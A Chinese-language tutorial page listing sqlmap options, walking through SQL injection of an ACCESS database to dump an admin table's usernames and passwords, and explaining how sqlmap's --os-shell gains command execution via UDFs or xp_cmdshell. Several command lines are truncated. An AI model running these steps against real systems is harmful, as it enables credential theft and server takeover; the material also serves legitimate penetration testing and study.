您当前的位置:首页 > 互联网教程

sqlmap参数大全丨sqlmap命令详解

发布时间:2025-05-21 21:26:04    发布人:远客网络

sqlmap参数大全丨sqlmap命令详解

一、sqlmap参数大全|sqlmap命令详解

1.查看版本:sqlmap.py--version

2.查看帮助信息:sqlmap.py--help

3.测试URL是否有注入可能:sqlmap.py-u

4.使用所有默认配置,可能触发WAF报警:sqlmap.py-u

5.列出所有数据库:sqlmap.py-u

6.显示当前使用的数据库:sqlmap.py-u

7.显示当前使用的数据库的用户:sqlmap.py-u

8.列出数据库中的所有用户:sqlmap.py-u

9.列出数据库的用户和密码:sqlmap.py-u

10.列出数据库中所有的表:sqlmap.py-u bts

11.列出数据库bts特定表users的结构,所有字段:sqlmap.py-u bts-T users

12.脱裤数据库bts,表users,字段username和password:sqlmap.py-u bts-T users-C"username,password"

13.脱裤整个数据库:sqlmap.py-u

例如:--version,-h,-v VERBOSE,-d DIRECT,-u URL,-l LOGFILE,-x SITEMAPURL,-m BULKFILE,-r REQUESTFILE,-g GOOGLEDORK,-c CONFIGFILE

例如:--method=MEHOTD,--data=DATA,--param-del=PARAMDEL,--cookie=COOKIE,--cookie-del=COOKIEDEL,--load-cookies=LOADCOOKIES,--drop-set-cookie,--user-agent,--random-agent,--host=HOST,--referer=REFERER,-H=HEADER,--headers=HEADERS,--auth-type=AUTHTYPE,--auth-cred=AUTHCRED,--auth-file=AUTHFILE,--ignore-code=IGNORECODE,--ignore-proxy,--ignore-redirects,--ignore-timeouts,--proxy=PROXY,--proxy-cred=PROXYCRED,--proxy-file=PROXYFILE,--tor,--tor-port,--tor-type,--check-tor,--delay=DELAY,--timeout=TIMEOUT,--retries=RETRIES,--randomize=RPARAM,--safe-url=SAFEURL,--safe-post=SAFEPOST,--safe-req=SAFEREQ,--safe-freq=SAFEFREQ,--skip-urlencode,--csrf-token=CSRFTOKEN,--csrf-url=CSRFURL,--force-ssl,--hpp,--eval

例如:-o,--predict-output,--keep-alive,--null-connection,--threads=THREADS

例如:-p TESTPARAMETER,--skip=SKIP,--skip-static,--param-exclude=PARAMEXCLUDE,--dbms=DBMS,--dbms-cred=DBMSCRED,--os=OS,--invalid-logical,--invalid-string

例如:--level=LEVEL,--risk=RISK,--string=STRING,--not-string=NOTSTRING,--regexp=REGEXP,--code=CODE,--text-only,--titles

例如:--technique=TECH,--time-sec=TIMESEC,--union-cols=UCOLS,--union-char=UCHAR,--union-from=UFROM,--dns-domain=DNSDOMAIN

例如:-a或--all,-b,--banner,--current-user,--current-db,--hostname,--is-dba,--users,--passwords,--privileges,--roles,--dbs,--tables,--columns,--schema,--count,--dump,--dump-all,--search,--comments

二、sqlmap怎么注入ACCESS数据库

1、在使用sqlmap进行ACCESS数据库注入时,首先需要执行跑表命令,例如:sqlmap–u“url/NewsShow.asp?id=69”–tables。遇到某些提示时,可以按回车继续。

2、接下来,根据提示选择线程数量进行表扫描,比如选择1到10线程,当扫描到“admin”表时,可以通过按下Ctrl+C来终止扫描并获取表信息。

3、确定表后,继续执行命令sqlmap–u“url/NewsShow.asp?id=69”–columns–T admin,以获取表中的字段信息,如username、password、id等。

4、在得到字段信息后,使用命令sqlmap–u“url/NewsShow.asp?id=69”–dumps–T admin–C“username,password”来提取字段内容,包括用户名和密码。

5、整个过程中,按照提示选择默认设置即可,最终将输出包括用户名和密码在内的敏感信息。

6、需要注意的是,在实际操作中,确保遵循合法合规的使用规则,避免对他人或机构造成不必要的损失。

7、另外,通过这种方法可以有效地识别和提取ACCESS数据库中的关键数据,但同时也应关注数据库安全,采取适当措施防止敏感信息泄露。

8、进行数据库注入时,建议定期更新和测试安全策略,以应对可能的安全威胁。

9、总之,利用sqlmap进行ACCESS数据库注入是一项重要的技术手段,但也需要谨慎使用,确保在合法合规的前提下进行。

三、sqlmap --os-shell原理

当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户拥有使用特定函数的权限时,SQLMap提供了一种特殊的方式实现操作系统命令执行,即os-shell原理。

在MySQL、PostgreSQL中,SQLMap上传二进制库,内含用户自定义函数sys_exec()和sys_eval(),用于执行系统命令。在Microsoft SQL Server中,利用xp_cmdshell存储过程实现,若被禁用(在Microsoft SQL Server 2005及以上版本默认禁用),SQLMap会重新启用或自动创建。

接下来,我们将通过针对MySQL数据库、PostgreSQL数据库和Microsoft SQL Server数据库的具体操作,深入解析os shell原理。

实现os-shell原理的必要条件包括:普通注入方式、上传SQLMap的马、执行马以获取命令执行权限。

测试环境:操作系统为Microsoft Windows Server 2012 Standard,数据库为MySQL 5.1.60,脚本语言为PHP 5.4.45,Web容器为Apache 2.4.39。

使用SQLMap进行注入检测,执行--os-shell命令。

使用Wireshark捕获数据包,仅查看HTTP数据包。

追踪HTTP流,可以看到内容被URL编码,解码后发现是通过into outfile进行文件写入操作。

数据库支持外连,利用SQLMap执行--os-shell获取shell。

实现os-shell原理的关键在于利用xp_cmdshell扩展进行命令执行。

测试环境:操作系统为Microsoft Windows Server 2016 Datacenter,数据库为Microsoft SQL Server 2008。

SQLMap默认不自带pymssql,需手动下载并使用python-m pip install pymssql命令进行安装。

执行--os-shell命令,SQLMap将执行如下操作:

检测是否为数据库管理员权限(sa权限)。

检测xp_cmdshell是否已启用,若未启用则尝试启用。

在特定情况下,SQLMap未能成功开启xp_cmdshell,需通过其他工具如navicat进行数据库连接。

执行命令开启xp_cmdshell,执行后,可在navicat中执行命令或使用SQLMap的--os-shell进行命令执行。

若从一开始就使用navicat或其他工具进行数据库连接,需手动验证是否为sa权限、xp_cmdshell是否已启用。

执行相关验证命令,如查询sa权限状态及xp_cmdshell是否存在。

Mysql实现os-shell原理主要依赖于UDF(用户自定义函数)执行命令,详细内容可参考Mysql Udf提权文章。

测试环境:操作系统为Microsoft Windows Server 2012 Standard,数据库为MySQL 5.1.60。

安装pymysql后再次连接,获取数据库版本信息。

执行SQLMap-d--os-shell命令,SQLMap主要执行如下步骤:

连接Mysql数据库并获取版本信息。

检查sys_exec和sys_eval函数是否存在。

退出时默认删除sys_exec和sys_eval函数。

SQLMap的os-shell原理提供了一种在特定环境下通过注入、上传功能马、执行命令以获取操作系统权限的技术。通过针对不同数据库类型的具体操作,实现了灵活多变的执行策略。